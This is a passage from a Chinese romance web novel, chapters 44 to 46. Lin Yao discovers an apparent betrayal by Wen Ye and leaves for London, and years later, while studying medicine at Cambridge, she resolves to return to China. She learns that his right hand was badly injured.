“如果你选择继续追究法律责任,还需要再来进一步调查,你看你现在能不能来警局一趟。” “我今晚有很重要的事,我明天过来。” 天尽头最后一抹余晖被黑暗吞噬,闻野还紧紧握着挂了的手机,他透过烧烤店的玻璃门,看见小姑娘坐在个空桌子那儿,双手托着脸。 她头发快长到了下巴这儿,留着很乖的娃娃头,一侧别在耳朵后,露出小巧白皙的耳垂,漂亮得和烧烤店里又小又破的环境格格不入。 旁边一桌几个穿着校服的高中男生,不知偷偷朝她看了多少眼,以为藏得好,脖子早暗暗红了个透。 仿佛时光倒流,闻野回到了那个寒冷刺骨的冬日,他一身狼狈还有血污,隔着舞蹈室大大的落地窗,往里窥视着永远不配触碰的美好。 林杳等了好半天没见闻野回来,朝着门外看去,他电话还没打完呀,两人视线遥遥触及,她冲他弯着眼笑了下。 真甜啊。 甜得他心脏一阵阵紧缩,竟比那晚刀锋连皮带肉地扎进掌心还要疼。 第44章 第四十四章 一口狠狠咬住他肩膀 回到家以后, 林杳把几袋子烧烤放餐桌上,跟闻野一块儿从厨房拿盘子出来装好。 他手不方便,拧瓶盖也是她来, 她给两人杯子里倒满雪碧, 然后就迫不及待地吃了起来。 闻野看见她一手拿着烤牛油, 一手拿着土豆片,吃得津津有味的, 瓷白干净的脸边蹭到了点油都浑然未觉。 他抽了张纸巾,伸手过去给她擦了擦脸,声音好笑道:“怎么变这么馋了。” “伦敦那边的餐馆没一个好吃的。”林杳吃完签子上的一串土豆,有一小点不满地抱怨:“我每一天都在想念我们这里的烧烤串串火锅了,不过最想的,还是你做的番茄牛腩,糖醋排骨,可乐鸡翅,鱼香肉丝还有蒜蓉茄子。” 她杏眼亮亮的,兴冲冲道:“我可以一直待到九月开学,明天起你就教我做菜吧, 之前说好了的呀,等我病好了, 你就把你的拿手菜都教给我。” 闻野望向小姑娘满怀期待的眼眸, 喉咙里像是塞了团棉花, 好半晌眼皮稍稍垂下:“好。” 林杳吃得起劲, 但一次次察觉到他投过来的目光, 她就有点不自在了,扯了纸擦干净嘴,抬起头疑惑地看向闻野。 “你怎么不吃, 还一直盯着我看啊?” 闻野给出无可挑剔的理由:“我中午吃得太饱了,这会儿吃不下,这么久没见了,想多看看你。” 林杳不疑有他,有些不好意思眨了眨眼,脸颊也微微泛红:“那你等我吃完了再看,你现在看着我,我都不好意思吃了。” “好,不看你了,你慢慢吃。”闻野眷恋地收回视线,漆黑的眼睫低低垂下,在眼下拓一片阴影。 等吃完了,林杳拿着碗筷要去厨房洗,见闻野还要拦她,杏眼瞪得圆圆的:“你右手都贴着膏药呢,怎么还想洗碗,腱鞘炎还想不想好了?” 她气势十足地威胁道:“我在这儿待着的两个月,家务都交给我就好,要是再看到你做一次家务,我就不理了。” “我不洗,我就先把盘子拿到厨房去。”闻野顺从道,漆黑眼瞳看着她:“我早上洗的床单和枕套都晒干了,能不能先麻烦你帮我换一下。” “当然没问题啦。” 林杳欣然答应道,趿着拖鞋噔噔噔跑到阳台,举着撑衣杆把晾着的灰色床单和枕套都取了下来。 她抱着上楼,走到一半还不忘回头警告,样子奶凶奶凶的:“你不许趁我不在就把碗洗了啊。” “嗯。”闻野弯着唇应道,舌尖漫开一层苦涩。 看着她身影消失于楼梯拐角,闻野端起满是油污的盘子拿去厨房,靠着一只左手,一趟只能拿一个,来来回回几遍。 此刻他也正需要这种机械不停的运动,不然一动不动 坐着,就如一秒秒等着死亡宣判,比真正死亡还难熬。 林杳推开房门,抱着枕套床单走进闻野的房间。 房里的布置陈设都原封未动,最大的变化是书桌上,除了刺青的手稿外还多了好多本雅思真题,出国日常口语900句,新东方绿皮词汇书。 她走过去,随手一翻就能感受到他做题时的认真,红笔的订正痕迹密密麻麻的,有的地方不够,还贴上了便签纸。 透过这些笔记,她似乎还能看到他在店里辛辛苦苦忙活了一天回来,深夜还坐在桌前刷题的身影。 林杳心里感动,他本来不需要把自己搞得这么辛苦疲惫,还要千里迢迢去一个完全人生地不熟的国家,都是为了她。 这么想着的念头在眼神不经意掠过大大敞开的抽屉时一顿,她双眸不由睁大了些。 她缓慢地眨了眨眼,再次看去,确定了放里边的那个方方正正的小盒子,真的是杜蕾斯呀。 还是拆开用过的。 林杳脑子里冒出的第一个念头就是闻野想要和她发展到那步了,至于为什么是拆开的,肯定是他提前学着怎么用。 他今天的反应一直有点奇怪,难不成就是今晚了嘛? 想到这儿,林杳咬了咬唇,脸颊的热度不断往上攀升,心脏似擂鼓,又快又急促地跳动起来。 其实也不是不可以…… 可他怎么之前半点意思都不跟她透露一下啊,那她也好有个心理准备,她穿的内衣还都是那种可爱得有点幼稚的图案,跟性感和女人味都毫不沾边。 林杳有点埋怨地鼓了鼓腮,害羞又乱七八糟地瞎想着,脸这下真的像是烧开的水壶,热得要爆了。 她拿手贴在脸上试图将降温,结果连手心也开始发热,心里交织对未知的害怕和新奇。 深呼吸了好几口气,她把抽屉推上,眼不见就心不乱,接着在床边坐下干正经事。 林杳伸手拿过枕芯要给他换枕套。 垂下的眼帘里突兀又猝不及防地出现一根棕红色头发,长而十分的卷,就黏在枕芯的拉链上。 她砰砰砰的,仿佛随时要跳出嗓子眼的心脏在这一瞬间突然静了下来。 林杳转头,用仔细到近乎审视的目光再去这张床,发现并不止这一根头发,床垫和床头的缝隙似还有个什么小东西闪闪发光。 她走过去,手指伸进去扣了出来。 原来是枚钻石耳钉。 闻野把那些脏碗筷都收进了厨房,又无事可做了,他长腿靠着餐桌边沿,左手撑在桌面上,仿佛要借着这几分力才能够站住。 哒哒哒的脚步声再次响起,他闭了闭有些沉重的眼皮,把那股汹涌的潮意逼退回去,等又睁开时,小姑娘已经站到了他面前。 她手心朝着他摊开。 闻野看到她白皙掌心的几根棕红色的卷发,还有个钻石耳钉,耳边响起她茫然又委屈的声音:“为什么你的床上会有这些啊?” 顿了几秒,期待又紧张的声音再次开口:“你把房间借给别的女生睡过吗?” 闻野漆黑的瞳孔缓缓抬起,和她泛着红,染着水光的眼眼睛对视。 他咬了咬口腔里的软肉,带着腥甜血气吐出的字像一根根尖锐的钢针,将少女天真又自欺欺人的希望毫不留情地戳破。 “对不起杳杳。” 他哑着声说,“我那晚喝醉了,脑子完全不清醒了。” 闻野等着她向他扇来一巴掌,扇完之后他可以亲手给她递上刀,她想怎么往他身上扎都行。 只要她能解愤,只要她能别哭。 林杳没有动手,也没有哭,只是一眨不眨地看着他,那双眼又红了一圈,神色变得更茫然了。 类似的话她之前是听过的,是爸爸对妈妈说的,发生在父母为数不多的一次激烈争吵里。 那时她还小,不懂这句话的含义,只知道妈妈哭得很伤心,她够着胳膊不停给妈妈擦眼泪,直到后来长大,她才懂得妈妈哭的原因。 爸爸那样爱妈妈,在每个节日都会精心给妈妈准备礼物,在妈妈生病的时候无微不至地照顾,是所有外人眼里的好丈夫。 可也会在一次喝醉了之后,做出对不起妈妈的事。 闻野喜欢她,喜欢到恨不得把心掏出来给她了,为了给她赚化疗的钱,在七月份四十多度的高温天里,他甘愿冒着生命危险被一根绳子系在几十层高的半空。 他陪着她一起剃光头发,为了她重新学习,熬夜背单词刷题,还许下同生共死的承诺。 他对她的好,每一桩每一件,都让她深信不疑,世上不会有人比他对她更好。 “是所有男人都会这样吗?喝醉酒了,身体就不受控制想要做那种事了?”她长睫抖了抖,仍然看着他,声音小到像是喃喃自语。 就像她高中时的那一晚,他喝醉了酒,意识昏昏沉沉的,连她是谁都没看清,就把她拽上床,还要亲她。 “当然不是。”闻野心如撕裂般,坚决否认。 他声音嘶哑,像年久失修快随时要断了的琴弦:“是我太糟糕了,对不起,杳杳。” 行李箱就放在客厅的沙发旁,林杳拎起往外走,妈妈在难过了很长时间后原谅了爸爸那次,后来重新又恩爱起来。 可她做不到。 她走得很快,两只滚轮在坑洼不平的路上发出咔咔声响。 闻野也跟在她后边。 林杳在路边拦了辆出租,闻野单手给她把行李箱抬进后备箱的,然后也跟着坐了上去。 “晚上不安全,我送你去机场。”他沙哑的声音透出哀求。 林杳没阻拦,也没力气和他争执,上车后她就把头靠着车窗休息。 她做不来电视里演的那样歇斯底里,因为愤怒的情绪还离她很远,她只觉得太不真实了,恍惚得像做梦一样。 或许她就是在做梦,她只是在飞机上打了个盹,她根本还没见到闻野呢。 到了航站楼是晚上十点多,夏夜的晚风凉爽起来,因离着市中心远,空气好,她一抬头还能看到好几颗闪耀的星星。 林杳更确定自己是在做梦,电视里上演这种剧情的时候,都有一场倾盆大雨把两人淋得湿透,哪还有这么好的天气。 她去买票,下一班飞往伦敦的飞机在三小时后的凌晨一点。 她安静坐着等待,不动也不说话,她都走完了梦里的剧情,肯定很快就会醒来的。 直到机械的登机提示音响起,林杳还坐着,一动也不肯动。 闻野看向她,不得不出声提醒,喉咙像被什么烧灼腐蚀着:“杳杳,飞机马上要起飞了。” 林杳的眼泪终于在这一刻全掉了下来。 像泄了闸的洪水,断了线的珠子,她再想骗自己一下都不能够了。 机场本就是个充满分别和眼泪的地方,来往的旅客习目光看过来,也都见怪不怪,习以为常了。 唯一觉得不寻常的一点,就是那个漂亮的少女哭得都那样伤心了,怎么她跟前的男朋友还冷漠地垂着手臂,无动于衷地站着,安慰都不安慰一下的。 这么想着,那些看过来的目光不由又多了几分鄙夷。 闻野对周遭的一切熟视无睹 ,他漆黑的瞳孔只看得见眼前的姑娘,和她哭得发红的眼眶和泪涟涟的小脸。 那一声声伤心得要命的呜咽听得他心要被碾压成齑粉,他垂在身侧手臂几次想抬起,又被他硬生生压下,绷出的青筋鼓得要裂开。 他哪还有什么资格给她擦眼泪,世上最可恶,最是罪该万死的人就是他了。 机械的登机提示又一次响起,林杳拿手胡乱擦了几下,从背着小书包里翻找出一张银行卡,朝身前的少年递去。 “密码是我的生日,你先拿着,等我赚了钱之后,会把这几年欠你的那些看病的钱都还给你。” 闻野心脏狠狠抽搐了下,他伸手接过,她捏着的手指不做一秒停留,很快松开,两人之间千丝万缕的纠缠和联系似就此无形中剪断。 林杳拉着行李箱往安检走,走了几步,她又不甘地回头,看向伫立在原地一动不动的身影 怎么可能甘心。 她和他还只在接吻这步,那种他掌心深深嵌进她腰窝,彼此舌头纠缠着,津液交换,像要把她吞进去的感觉,她都已经觉得好亲密了。 可他跟另一女生,身体做了比这还要亲密的事。 林杳扔掉了行李箱,朝他跑回去,扑过去用尽全身力气抱住了他,哽咽着的声音恨恨然的:“闻野,我讨厌你,最最最最讨厌你了。” 她踮起脚,张嘴,隔着衣服,发泄似的狠狠一口咬住他肩膀,眼泪又啪嗒啪嗒掉下来。 闻野一声闷哼也没发出,根本不觉得疼似的,身子朝她低了低,方便她更容易咬。 他只盼着她咬得更用力些,能把心里的气撒出一些,咬掉他一块肉也无妨。 好半天她才松开嘴,又埋在他肩头哭得眼泪都要流尽了,最后声音哑得厉害,抽搭着,决绝道:“我以后再……再也不会回来了,我不要见到你了。” 他五脏六腑像被根尖利的冰锥狠狠搅碎,一片冰寒中又牵扯着剧烈疼痛,真是比死了还要难受。 连张嘴都要艰难,最后也只说出口了一个字—— “好。” 第45章 第四十五章 他所有的好又清晰浮现了出…… 林杳医学读到大二时, 距离她骨髓移植手术后已经过去三年了。 三月份的时候,她按时去医院复查,身体没有任何异常, 终于算是彻底通过了手术的危险期。 她国内的手机号起初还在用, 后来几个月忘了交话费就自动变成了空号。 在英国这边, 林杳和同学教授交流用的都是ins,q.q有时登一次, 刷空间看一下从前同学或朋友的近况。 不过她从来没有刷到闻野的说说。 他在她生活中的痕迹越来越少,仅剩的一点联系,是她每个月月末,把一半兼职的钱打进她给他的那张银行卡里。 英国是海洋性气候,夏天雨水很多,林杳坐在咖啡馆挨着窗户的座位,窗外雨声淅沥不停,光线灰蒙蒙的,让人心情也受到一些影响,变得低沉。 她盯着电脑里写到一半的期末paper,好半晌没敲下一个字, 手指按着鼠标,退出了word, 想起来点了点角落里快要积灰长草的小企鹅。 小企鹅摇晃着脑袋登录, 紧接着就有消息的嘀嗒声, 一个水冰月的头像闪了起来。 彭思嘉:【杳杳你复查结果怎么样呀, 身体痊愈了嘛?】 彭思嘉:【小猫期待.jpg】 消息时间是两星期前, 林杳立刻敲字回复:【已经完全好啦】 彭思嘉:【啊啊啊啊太好了!!!】 彭思嘉:【你现在方便嘛,我想跟你视个,炒鸡想你的呜呜呜呜呜】 林杳:【可以呀, 我也好想你~】 彭思嘉:【那你等会儿,我家里电脑的摄像头坏了,我去附近找个网吧】 等了一刻多钟,她视频通话的请求就发了过来,林杳点了同意,插了耳机线后戴上。 电脑屏幕里出现彭思嘉那张热情洋溢的笑脸,公主切的发型,染了一头粉色。 林杳哇出声:“你头发的颜色好漂亮。” “嘻嘻我上个月才染的。”彭思嘉高兴道:“终于圆了我高中时候的梦想,我现在走在街上回头率老高了,穿lo裙拍照也超出片,就是我那个老古董的爸气得好几个礼拜了都不肯和我说话。” 她又问起林杳在这边读书生活的情况,听闻她马上期末考完放假,忍不住道:“这么久了,杳杳你不回平城看看嘛?” 林杳睫毛动了动,这句话像衣服外露出的细短线条,轻轻一拽,就没完没了的,藏在里面的整根线都一下子扯了出来。 她想起那晚,她一口在闻野肩膀上狠狠咬了下去,此刻齿间似都尝到了一点腥甜的血味。 她那句说得决绝又赌气,他也哑着嗓子应下了一声好,那是他们那一晚最后说的话。 “我不回去啦,暑假我要跟着教授做实验,还有些兼职要做。” 她正说着,一只修长干净的手端着盘提拉米苏放到她桌上,林杳愣了下回头,看见冲她笑着的陈澍予。 “谢谢你上次帮我做的调查问卷,还写得那么认真,这块蛋糕算是我的感谢费了。”他语气笑着道,又指了指她对面空着的座位:“可以坐吗?” 林杳点了下头,又看向屏幕。 对面的彭思嘉刚才也是看到了突然出现的陈澍予,她眼神不自觉地飞快往身后镜头看不到的某处一瞄,表情变得犹豫又纠结,最后咬了咬牙问:“杳杳,刚才那男生……是你男朋友嘛?” “不是啊。”林杳忙否认,有点尴尬地看了看已经在她对面坐下,拿出了出医学书复习的陈澍予。 幸好她戴着耳机,他肯定听不到彭思嘉那句问话,她小声解释道:“他是我学长。” 陈澍予当初直接在英国参加的高考,后来念的就是剑桥医学系,林杳入学没多久就偶然碰到了他,他比她大两届。 但都是一个国家的,又是相同专业,难免有碰面打交道的时候。 当初他向她表白被拒已经是四五年前的事了,那时年纪还小,在之后两人相处中他从没再提及,林杳便索性也当做忘记了,没刻意避着他,就和他按照普通同学的模式相处。 “噢,原来只是学长啊。”彭思嘉刻意大声地重复了遍她的话。 又聊了些,两人才说了再见。 林杳肩膀往下一塌,那句“闻野最近怎么样了”几次到了嘴边,最终还是被她咽进了喉咙里。 应该也不会差的,他有着刺青的手艺,两年前赚得就挺多的了,有又那样一张很招女生喜欢的帅脸。只要他想,找女朋友是轻而易举的事。 直至视频的窗口消失,彭思嘉身后才传来少年低哑的声音:“谢谢,你想喝什么奶茶,我去买。” “哎呦不用不用。”彭思嘉连忙摆手,心里还是很是惋惜。 彭思嘉自己也谈过了恋爱,也看过周围的朋友谈,大多吧也就那么回事。 在一起因为一时的新鲜感,无聊的消遣,又或者只是想证明自己长大了,想干点成年人的事,这种恋爱不需要经历多大的磨难,吵几次架都能分道扬镳。 到目前为止,彭思嘉只从闻野身上窥见了真正爱一个人时的样子,是曾经再傲气也会为那个人俯首低腰,用尽所有对对方好,还不求一丝回报。 所以她和林杳视频,就特意来了闻野当网管的这家网吧。 果然一提到林杳的名字,就像是在深不见底的山渊扔进一簇火把,少年冷寂黝黑的瞳孔一下有了光。 她不知道他们之间发生了什么,怎么就到了老死不相往来的地步,但她就是单纯作为个旁观者,也觉得不该是这样。 如果连这样的爱情,都只能潦草地收尾,那她以后还谈个毛线的恋爱啊! “你要是还喜欢杳杳,就去找她啊,不管遇到了什么,只要有爱就不要紧。”彭思嘉给他撒鸡汤:“你没听过最近往上特流行的话嘛,所爱隔山海,山海皆可平。”【1】 闻野抿着唇角没说话,包间外传来一道烦躁的嚷嚷声:“网管呢?我游戏打得好好的,这机子怎么黑了啊?” “我出去弄一下。” 闻 野留下这一句,出去找到刚嚷着的红毛青年,给他检查了下电脑,蹲下身把松动的一根连接线插上,等着重新启动。 旁边坐着红毛的女朋友,正用电脑在追剧。 她戴着的耳机质量差,漏音严重,他听到男主求婚时说得激情澎拜的台词:“虽然我没车,没钱,没钻石,但是我有一颗永远爱你和陪你到老的心。”【2】 剧里的女主和电脑前的这女生都哭得稀里哗啦的。 闻野嗤了声,偏头看向重启的电脑,淡声说了句好了,在红毛“什么破几把网吧啊机子总出问题”的唧唧歪歪声走回收银的前台坐着。 那样一颗心,当谁没有似的,可顶什么用? 他一个右手残废的人,纹身机再也拿不起来,出租的司机当不了,甚至连去餐馆端盘子,都没人要。 只能跟个废物似的窝缩在这个烟熏雾绕的小破网吧,当个一月拿三四千,看机子,还经常被呼来喝去的网管。 他什么都给不了她了,一只手,连照顾都照顾不好她,难道要用一句虚无缥缈的“我爱你”去拖累她一辈子吗? 刚视频里一晃而过的男生,闻野还有很深的印象。 林杳高二那年的平安夜,那男生过来找过她,就他看她的那个眼神,不管是过去还是刚才,闻野都能百分百确定他还喜欢她。 算算时间,也过去四五年了,那男生勉强算得上是长情的了,刚小姑娘不还说他现在是她的学长么,证明他不仅家境好,自身条件也很优秀。 林杳以后要是跟那男生交往,也挺好的,至少肯定不会在被别人问到男朋友情况时,被嘲笑看不起。 闻野拿出手机,如今靠着左手拇指敲字已经比较熟练了,但今晚短短二十多个字,敲了不下半小时。 最后给那只加菲猫头像发过去:【你总共给我打了二十万,你欠我的都还清了,不用再给我打钱了】 她不欠他什么了,从此可以更纯粹地恨他或者讨厌他,又或者是更干脆地把他遗忘。 怎样都好,只要她能心无旁骛地开始新的人生- 四年本科读完,林杳继续读研,她跟一个中国的,还有一个新加坡华裔女孩儿合住一个寝室。 某一天,那个新加坡女孩儿突发奇想想去纹身,但又不敢一个人去,便央着她和另外一个室友陪着。 她们找到一家华人开的纹身店,沟通好价钱和图案后,新加坡女儿跟着刺青师去了屏风后,林杳和另个室友在外边等着。 纹身机发出滋啦滋啦的噪声,室友抖了抖胳膊:“这声音听着就好吓人好恐怖啊。” 她说着看向林杳:“诶杳杳,你眼睛怎么这么红了?” “好像掉了根睫毛进去。”林杳用手揉了揉眼睛。 耳边滋啦滋啦的声音一下把她带回了高考完的那个暑假,她天天晚上去闻野的纹身店,他在屏风里工作,她在外边的小桌子看书写题玩手机。 等到十一二点,他锁门,两人一起回家,一路上经过好多小吃摊,他总问她要不要吃这要不要吃那。 有时是一串菠萝,有时是几串铁板鱿鱼,她吃不下的又都给他,他毫无芥蒂把她吃剩的都吃完。 她思念那会儿的日子,更想念的……是他。 五年了,她心底再深的怨也被时间一点点冲刷掉了,他所有的好又全都清晰的,深刻地浮现了出来。 林杳研二那年,被导师推荐去了一家很好的医院实习。 每天早上,她和一群师兄师姐跟着教授一层层楼的查房,教授平时是位相当严厉的小老头,每次查房都根据病情延申出好多问题考他们。 今天也是一早去查房,隔壁床睡着个六岁大点的小女孩,马上要被护士抽血了,她害怕得呜呜哭,两只胳膊紧紧背在身后,任父母和护士怎么哄都没有用。 林杳手伸进白大褂,刚好有枚一磅的硬币,她想了想走到床边,用流利温柔的英语对小女孩说:“不哭了好不好,我给你变个小魔术。” 小女孩一双湿漉漉的蓝眼睛好奇地看了过来。 林杳给她表演了一个硬币在手掌消失的魔术,小女孩眼睛睁大,说了句amazing,好奇问她是怎么做到的。 “你乖乖让护士姐姐抽一点血,我就教你变这个魔术行不行?”她笑了下,商量的语气问她。 小女孩犹豫着慢慢把背在身后的小手伸了出来。 她父母松了口气,笑着对林杳感谢,连向来不苟言笑的教授都对她伸出个大拇指。 查完房后林杳去自助机前排队买咖啡。 林杳掌心捏着硬币,脑海里出现少年一只骨节清晰又修长的手,用一枚硬币或是张纸都能给她变出各种各样的魔术,只为了让她化疗时不那么疼痛难熬。 “杳杳,到你了。” 身后响起陈澍予的声音,他两年前就进了这家医院,还在读博。 林杳回神,把刚才那枚硬币投进去,接了杯热美式,陈澍予在她身后买了杯同样口味的,两人又一起搭电梯上去。 “沃尔夫教授对你很欣赏,你研究生毕业后可以选择来这家医院,到时候申请他的博士生也会容易许多。” 电梯里只有他们俩,陈澍予向她建议,含着自己的一点私心和期待。 林杳抿了抿嘴角,十几秒后才抬起眼看向他,语气里带着终于释然的轻松:“我想好了,今年研究生毕业,我就会回国。” 那些她和闻野一起度过的日子,点点滴滴,哪怕过去了七年,她都还记得一清二楚,她舍不得,也不甘心闻野就这么从她的生命里消失。 那么多的情侣分手后还能做朋友呢。 她和闻野俩先做的兄妹,后做的情侣,算起来,两人做兄妹要比做情侣的时间还要多。 在喜欢上他之前,她一直把他当哥哥。 那他们现在情侣做不了,能不能往后退一步,再做回兄妹呢? 第46章 第四十六章 一点半 林杳选择要回国, 沈怡第一个反对。 他们一家四口在英国待得好好的,怎么突然就要回平城了呢?只可能是为了那个叫闻野的少年。 然而她当初就不是很满意闻野的职业,还有七年前, 杳杳兴高采烈地坐十多个小时的飞机回国, 结果第二天却是失魂落魄地回来了。 可不就是那少年做了什么伤透她心的事么。 难得轮休, 林杳早早起床,打了豆浆, 又煮了四碗煎蛋火腿焖面,等着爸爸妈妈和弟弟来吃。 知女莫若母,沈怡见到这么丰富的早餐,就知道她想的是什么,一点没商量的语气直接拒绝道:“要是你还想说回国的事,那我肯定不会答应,杳杳,妈妈舍不得你走。” 林杳失望地低了低头,还没想好再怎么说,林钦文开了口:“杳杳你要是实在想回去,那就去吧。” 林杳惊讶又欢喜地重新抬起头。 沈怡不敢相信地看着突然叛变了的丈夫, 气得早餐都不想吃了,先上楼回了房间。 “杳杳你先和沅沅吃, 我去跟你妈妈聊聊。”林钦文也跟着妻子上去。 沈怡没好气道:“你忘了他当初惹得杳杳多伤心, 再说了这么多过去, 他心里肯定早就忘了杳杳, 就我们女儿傻, 还对他念念不忘。” “他不会忘的。”林钦文叹了口气,声音肯定道。 沈怡目光疑惑地看向他:“你怎么知道?” 林钦文后来还见一次闻野,那已经是四年前了, 那天他公司有要紧事处理,晚上十一点多才开车到家。 车拐 弯,前灯打出的光线中出现一道高瘦颀长的身影,他越开越近,那人一直不离开,没法子,林钦文停下了车。 那人朝他走过来。 林钦文起初以为是附近来要钱的流浪汉,从皮夹里拿出张纸币想把人赶紧打发了,却听那人喊了他一声林叔叔。 他这才仔细瞧去,车窗外的少年寸头,短鬓角,眉骨深邃,五官棱角清晰,冷硬又凌厉。 并不是一张容易忘记的脸,林钦文想起了他是谁,也记起当初女儿那次突然回来后有多久一段时间都是闷闷不乐的。 今天是下了雨的,但六点钟就停了,林钦文那时出去过一趟,记得很清楚。 而此刻少年身上那件黑卫衣是湿的,脸色发白,薄唇也因冷而微微抖着。 可见他晚上六点之前就过来了,一直在冷风里等到现在,今天最低温度可是只有四五度。 林钦文用商人思维,想当然地觉得他不远万里飞过来,肯定是为了找杳杳复合,先找到了他,也是想让他跟杳杳面前说些好话。 故意弄出这么一副惨样,也不过是想博同情。 林钦文皱了皱眉,心中又觉可笑,他之前就不太看得上他,怎么可能会…… 少年出声打断了他的思绪,声线紧绷着问:“杳杳去复诊了吗?检查结果怎么样?” 女儿上星期才复诊完,林钦文愣了下回答:“很好,医生说她已经彻底痊愈了。” 少年眉眼明显地放松下来,对他说了句谢谢后又朝他递来个东西。 林钦文狐疑地接了过来,到手后发现是张银行卡。 “这张卡是杳杳给我的,这两年她一直在给我打钱,还她当初治疗的费用,卡里有三十万。我听她朋友说她最近在考驾照,麻烦叔叔拿这钱给她买一辆代步的车。” 他说完抬脚离开,身影悄无声息地消失于茫茫夜色里,就如他来时一样。 之后一连很多天,好几个月,林钦文都没看见他,这才终于确定,他不远万里地飞到英国,淋了雨受着冷等了一晚,就为了把三十多万交给他,听到一句杳杳身体痊愈的话。 林钦文扪心自问,哪怕自己年少时做不出这么热血上头的事,身边的男人也没人能做到。 这种刻骨的感情,一生难有一次,一旦有了,便是终其一生,很难被时间消磨。 林杳不知道爸爸跟妈妈说了什么,但妈妈总算松了口,她七月份拿毕业证书,在此之前就已经给平城最好的那所医院投递了简历。 她本科和研究生都是剑桥的,还是一路拿着最高奖学金读上来的,很顺利的就收到了offer。 她留到七月底,和父母弟弟过完自己二十六岁生日,当晚坐飞机回国。 到平城是上午九点多,她推着行李箱走出出机口,很快找到酒红色长卷发,手里还举着个霓虹灯接机牌晃的彭思嘉。 彭思嘉是林杳这几年唯一还时常有联系的朋友,她回国的消息也只告诉了她。 林杳加快脚步朝她小跑过去,弯着眼笑起来:“你这阵仗弄得像接明星似的。” 彭思嘉激动得嘤嘤直叫,一把抱住她:“杳杳你这张脸,想进娱乐圈那还不是分分钟的事!” 彭思嘉开了车来,一辆粉色的小电车,车门贴着可爱的hello Kitty,她把后排车座倒放,搁进去林杳的行李箱。 “杳杳你中午想吃什么啊?”彭思嘉做满钻的手指打着方向盘,侧头问她。 “都行呀。”林杳笑着道:“反正我在英国待了这么久,现在连飞机餐都觉得好吃了。” 彭思嘉也收到过她发的食堂餐食照,那玩意儿她看着就没胃口,更别提吃下去了,她顿时语气同情得不行:“这些年可怜我们杳杳在那边遭罪了,走,我们中午去吃海底捞,下午去锅包肉,晚上再去大排档整两锅麻辣小龙虾。” 她豪气云天地说完,没多久仪表盘就显示左轮胎压低。 “天,我不会这么倒霉吧,又压到钉子了吧?”彭思嘉下去查看一番,果然轮胎正面有一块破损。 林杳也跟着下来看:“我们打电话叫保险公司来吧。” “我三次免费拖车服务都用完了,我刚看了下,轮胎漏气不严重,彭一凡的汽修店就在附近,我开过去让他修。” 两人重新坐上车,林杳有点惊讶:“我记得你哥以前学不是的修理专业啊,怎么又开了汽修店了啊。” 她后来刷空间没有刷到过彭一凡的说说,还特意点进他头像,想看看会不会看到有关闻野的信息,结果发现自己被他删了好友。 “他学的那个专业找工作比登天难,只有考公一条出路,但他那个脑子,考了三年多连面试都没进去过一次哈哈。” 彭思嘉嘲笑起他哥来毫不客气:“后来我姑姑姑爹没办法,让他又去学了门修车的手艺,再后来我们那一片不是都拆了嘛,有了点钱,我姑姑就给他开了个小汽修店。” 说话间彭思嘉把车停在了路边,林杳往窗外一看,正对面就是家挂着一凡汽修招牌的店。 上午没什么活儿,彭一凡悠哉地歪在门口的椅子上,边打游戏边和人激情对喷。 “我最亲爱的哥,我来啦!”彭思嘉甜滋滋地喊了声走过去。 彭一凡手一抖,一个技能招放歪了,连着几声靠后无语道:“让你别买这种中看不中用的小破电车,又哪儿出毛病了啊?” 他认命地抬起头,眼睛不可置信地睁大,自己打游戏打到老眼昏花了吧?! 彭一凡拿手揉重重揉了几下,再定眼一看,他没看错啊,一走就是七年的林杳真回来了!!! “我又不小心压到钉子了,你等会儿给我补一下,我现在要和杳杳去吃海底捞,你送我们过去呗,反正你现在又没事,你午饭也有着落了啊。” 彭一凡不太爽地看了林杳一眼,很有骨气道:“不去,我点个外卖就行,不缺你一口吃的。” “你不送我们去,我就告诉姑姑你上次相亲之所以失败,就是因为顶着个五天没洗的大油头去,吃饭时还故意抖腿吧唧嘴。“彭思嘉笑吟吟地威胁。 彭一凡:“……” 这哪儿是他表妹啊,分明是他上辈子的债主! 彭一凡丧眉耷眼地开来自己的车。 路上林杳和彭一凡说话,他回答都是嗯嗯啊啊,一副不怎么情愿的样子,她确定之前她q.q不是他误删的,应该就是他特意删的她。 不过她想了想,还是不明白自己哪儿得罪了他。 到了商场五楼的海底捞,工作日又是中午,人不多,一过去就有位置。 三人被服务员领着往里走。 彭一凡拖着脚步落在最后,低头拿着手机劈里啪啦地摁着,一条条消息给闻野发过去。 彭一凡:【啊啊啊野哥!!!!!】 彭一凡:【你醒了没啊???】 彭一凡:【小猫探头.jpg】 闻野:【被你吵醒了。】 彭一凡:【现在有个事……,我不知道该不该跟你讲】 他内心忐忑又犹豫地打完这行字,想着先铺垫一下,结果等了三秒,看见闻野冷冰冰,直截了当的回复:【那就别说了】 彭一凡:“……” 野哥怕是把这辈子不多的耐心和温柔全挤干净给了林杳,其他人真是一滴都捞不着了。 然而他那个便宜妹妹是个没良心的小白眼狼! 彭一凡气哼哼地坐下,林杳点了几样菜之后把平板交给彭思嘉,起身去上卫生间。 走到一半,她想起纸巾放在脱下的外套里了,又走回去拿。 卡座里,彭思嘉正伸长手指往彭一凡脑门上用力地戳:“你有毛病啊?杳杳惹你了啊,你摆一张臭脸给谁看?!” 彭一凡也是不服气了,嚷嚷着道:“你没看见以前野哥对她多好?她生病了,野哥没白天没黑夜地给人纹身,冒着生命危险干那么高的活儿,就是为了给她攒钱化疗,后来为了让她能做手术还去找高利贷借钱,野哥对她不比对亲妹妹还好?!” “结果她呢,有钱的父母回来认她了,她就头也不回地跑回英国了,野哥右手都受伤废了,她甚至都不回来看一眼的,你说说,有她这么没良心的人吗?” 彭思嘉也是无语了。 直到到现在,彭一凡还觉得闻野和林杳是单纯的兄妹关系,这脑子和眼神,三年没考上公务员真心不冤。 彭思嘉不知怎么跟她哥这个不开窍的说,她很站在林杳这边:“你管好你自己就行了,别掺和人家的事,闻野做什么都是他心甘情愿的。” “那我还不能替野哥抱下不平啊?”彭一凡梗着脖子道,一抬眼看见去而复返的林杳。 林杳脑子是懵的,无比希望自己刚才是听错了,她长睫抖了抖,声线也是颤着的:“他手受伤是什么时候发生的?怎么回事?” 迎着她一双泛红的眼圈,彭一凡刚那雄赳赳气昂昂的气势一下消了大半,他把脖子又缩了回去。 “就……就七年前,八月份吧,野哥晚上出门遇到两个抢劫的混混,他们身上还带着刀,野哥跟他们打架时右手被刀刺伤。” 林杳心脏疼得紧缩了一下。 七年前的八月份,就是她和他分开之后的一个月。 记忆的一个节点突然被触发,如同平静的湖面扔进一颗小石子,很多刻意被遗忘,久远得渐渐模糊的画面一点点浮现出来。 